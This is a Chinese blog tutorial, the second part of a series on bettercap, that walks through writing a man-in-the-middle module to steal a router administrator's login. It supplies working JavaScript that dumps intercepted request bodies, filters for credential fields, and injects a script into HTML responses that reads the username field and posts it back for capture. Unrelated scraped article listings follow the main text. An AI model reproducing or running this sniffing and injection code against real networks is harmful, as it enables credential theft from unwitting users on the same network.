/文章作者:Kali_MG1937

CNBLOG博客:ALDYS4

QQ:3496925334
/

第一期: https://www.cnblogs.com/aldys4/p/14877783.html

在上第一期文章中我简要解析了bettercap模块的编写方法

这一期我们将编写一个注入模块来应用于实战中

实战内容:流量嗅探

明晰思路

假设一个场景:你想要进入内网的路由器管理页面

可是你并不知道密码,那么就需要嗅探管理员的流量,诱导对方登入管理页面以便自己得到密码

思路非常简单

要嗅探目标主机可能发送的关键信息,主要还是拦截目标主机发出的请求

我们在上一期已经知道onRequest函数是用来拦截request请求的

其中包含两个变量:req,res

req即为request,所以我们对这个函数进行操作

利用ReadBody函数来读取req的具体内容并打印在终端上

开始工程

function onRequest(req,res)
{
var data=req.ReadBody();
log("\033[01;32mDUMP!!!:\n"+data);
}

很简单易懂的代码,我们将模块带入bettercap进行测试



可以看到 目标主机一旦发送请求,就能立刻被拦截

接下来将脚本升级,让脚本自动嗅探密码之类的关键信息

function onRequest(req,res)
{
var data=req.ReadBody();
if(data.indexOf("user_name")!=-1)
{
log("\033[01;32mPASSWORD DUMP!!!!!!!!:\n"+data);
}
}

可以看到我只是对body的内容进行判断,脚本就能自动筛选重要信息了

嗅探关键信息的思路明晰之后就非常好办了

但如果受害者发送的请求已经经过加密那该怎么办?

那也非常简单,我们可以对服务器发送给目标主机的内容做做手脚

我在这里举一个简单的例子:

对网页内容注入一个脚本,让目标主机在点击登入按钮时获取用户名及密码input标签的内容并发送给我

我先编写一个欲注入的js脚本,命名为inject.js

<script>
function posts()
{
var http=new XMLHttpRequest();
var data=document.getElementById("username").value;
alert(data);//我这里仅仅是为了测试而调用alert函数
http.open('POST','/test');//向test页面发送请求
http.send(data);
}
</script>

很明显,我写的上面这个脚本先建立一个XMLHttpRequest对象

并将指定id的值放入data

最终函数将向一个不存在的页面发送post请求,以便bettercap嗅探到

function onRequest(req, res) {
if( req.Method == 'POST' && req.Path == "/test" )
//如果请求是post,并且请求页面是test,则执行如下代码
{
log( "\033[01;32m[LOGIN MANAGER ABUSER]\n"+req.ReadBody() );
headers = res.Headers.split("\r\n");
for (var i = 0; i < headers.length; i++) {
header_name = headers[i].replace(/:.*/, "");
res.RemoveHeader(header_name);
}
res.SetHeader("Connection", "close");
res.Status = 200;
res.ContentType = "text/html";
res.Body = "";//清除请求内容
}
} // inject the javascript in html pages
function onResponse(req, res) {
if( res.ContentType.indexOf('text/html') == 0 ){
var body = res.ReadBody();
if( body.indexOf('') != -1 ) {
body = body.replace(
'',
'<script type="text/javascript">' + "\n" +
readFile("/root/inject.js")//注入脚本 +
'</script>' +
''
); //这一部分注入脚本
body=body.replace('

【工具解析】瑞士军刀bettercap2.X_解析_第二期_内网钓鱼(嗅探)工具编写的更多相关文章

  1. linux下搭建redis内网端口映射工具-rinetd

    最近在工作中使用到了redis缓存,用来提某些业务场景的计算速度和某些情况下的操作频率限制,客户端工具使用了redisDesktopmanager来管理,在本机操作测试的时候,是没有问题的.但是将系统 ...

  2. 【渗透实战】那些奇葩的WAF_第二期_无意发现通杀漏洞,空字节突破上传!

    /文章作者:Kali_MG1937 CSDN博客号:ALDYS4 QQ:3496925334 未经许可,禁止转载/ 该博文为本人18年左右的渗透记录,文法粗糙,技术含量极低,流水账文章,且今日不知为何 ...

  3. linux下内网端口转发工具:linux版lcx [实现远程内网维护]

    这个工具以前使用的初衷是内网渗透,需要将内网ssh端口转发到外网服务器上.但这个工具同样适用于运维工程师进行远程内网维护. 当然这一切的前提是内网可以访问外网,检测方法当然就是直接ping 一个外网I ...

  4. Natapp内网穿透服务工具

    在做微信开发的时候,调用微信接口成功之后,微信会回调我们事先配置好的一个接口.由于微信的服务是在外网的,所以这个回调接口也只能是外网,而且微信要求回调接口只能是通过ICP备案的域名,不能使用IP,所以 ...

  5. 【工具解析】瑞士军刀bettercap2.X解析_第一期_编写HTTP代理注入模块_http(s).proxy.script

    /文章作者:Kali_MG1937 CNBLOG博客号:ALDYS4 QQ:3496925334/ 前言 bettercap已经从1.6更新至2.0版本 语言也从ruby改为了go 编写注入模块指定的 ...

  6. 深入理解java虚拟机_第二章_读书笔记

    1.本章内容目录: 概述 运行时数据区域 程序计数器 java虚拟机栈 本地方法栈 java堆 方法区 运行时常量池 直接内存 HotSpot虚拟机对象探秘 对象的创建 对象的内存布局 对象的访问定位 ...

  7. C语言_第二讲_规范以及常用数据类型

    一丶编码规范基本数据类型 编码规范 任何程序员,都应该有良好的的编码习惯,便于以后的代码可读性和维护 常见了编码规范有 匈牙利命名法 驼峰式大小写 匈牙利命名法: 是电脑程序设计中的一种变量命名规则, ...

  8. Java编程思想_笔记_第二章_一切都是对象

    第二章对于知识只是点到,会在以后章节会详细展开. 笔记的侧重会偏向记录自己知识模糊的地方.比如 xxx 很重要很难很实用,但是已经熟练使用就没有记录,而 “使用对象.成员名称来使用成员变量”,较简单而 ...

  9. Python笔记_第二篇_面向过程_第二部分_5.第三方模块的使用和自定模块(以Pillow模块为例)

    1. 安装第三方模块: 打开黑屏终端: cmd: pip -verson pip - V C:\windows\system32>pip -V pip from c:\python37\lib\ ...

随机推荐

  1. 【axios】get/post请求params/data传参总结

    axios中get/post请求方式 1. 前言 最近突然发现post请求可以使用params方式传值,然后想总结一下其中的用法. 2.1 分类 get请求中没有data传值方式 2.2 get请求 ...

  2. Mac SSH工具-Termius

    全平台,功能强大 SSH连接.SFTP连接.端口转发.多设备同步 官方网站

  3. Windows server 2003域控迁移到2012

    1:  windows server 2003 额外域控升级为 windows server 2003主域控 (因为原域控制器某些服务损坏,于是采用将备用域控升级为主域控的方法) https://we ...

  4. .NET之WebAPI

    介绍 通过一个简单的项目,总结一下常用的几种WebApi编写方式以及请求方式. 本文示例代码环境:vs2019.net5.MySQL 正文前准备 新创建了一个.Net5 WebAPI程序,安装组件 & ...

  5. C++ primer plus读书笔记——第10章 对象和类

    第10章 对象和类 1. 基本类型完成了三项工作: 决定数据对象需要的内存数量: 决定如何解释内存中的位: 决定可使用数据对象执行的操作或方法. 2. 不必在类声明中使用关键字private,因为这是 ...

  6. MySQL中MyISAM为什么比InnoDB查询快

    大家都知道在MySQL中,MyISAM比InnoDB查询快,但很多人都不知道其中的原理. 今天我们就来聊聊其中的原理,另外也验证下是否MyISAM比InnoDB真的查询快. 在探索其中原理之前,我们先 ...

  7. 关于在pycharm上使用git(保姆级别教程)

    文件 → 设置 先在pycharm上面登录github账号,版本控制 → GitHub → '+' → 通过GitHub登录 会自动跳转至浏览器,然后点击"Authorize in GitH ...

  8. stressapptest工具

    1.在H桌面V7B04上运行stressapptest工具编译报错.请研发协助! 2.因为stressapptest工具在兆芯和龙芯都能正常运行,所以我怀疑是工具stressapptest未在H桌面V ...

  9. Linux_LVM管理

    一.Ivm的应用场景及其弊端 1.应用场景: 随着公司的发展,数据增长较快,最初规划的磁盘容量不够用了 2.弊端: 数据不是直接存放在硬盘上,而是在硬盘的.上面又虚拟出来--层逻辑卷存放数据,故而增加 ...

  10. CentOS7安装vncserver(启动失败及连接黑屏解决办法)

    CentOS7安装vncserver(启动失败及连接黑屏解决办法) 转载weixin_34167043 最后发布于2017-11-09 15:11:00 阅读数 42  收藏 展开 AutoSAR入门 ...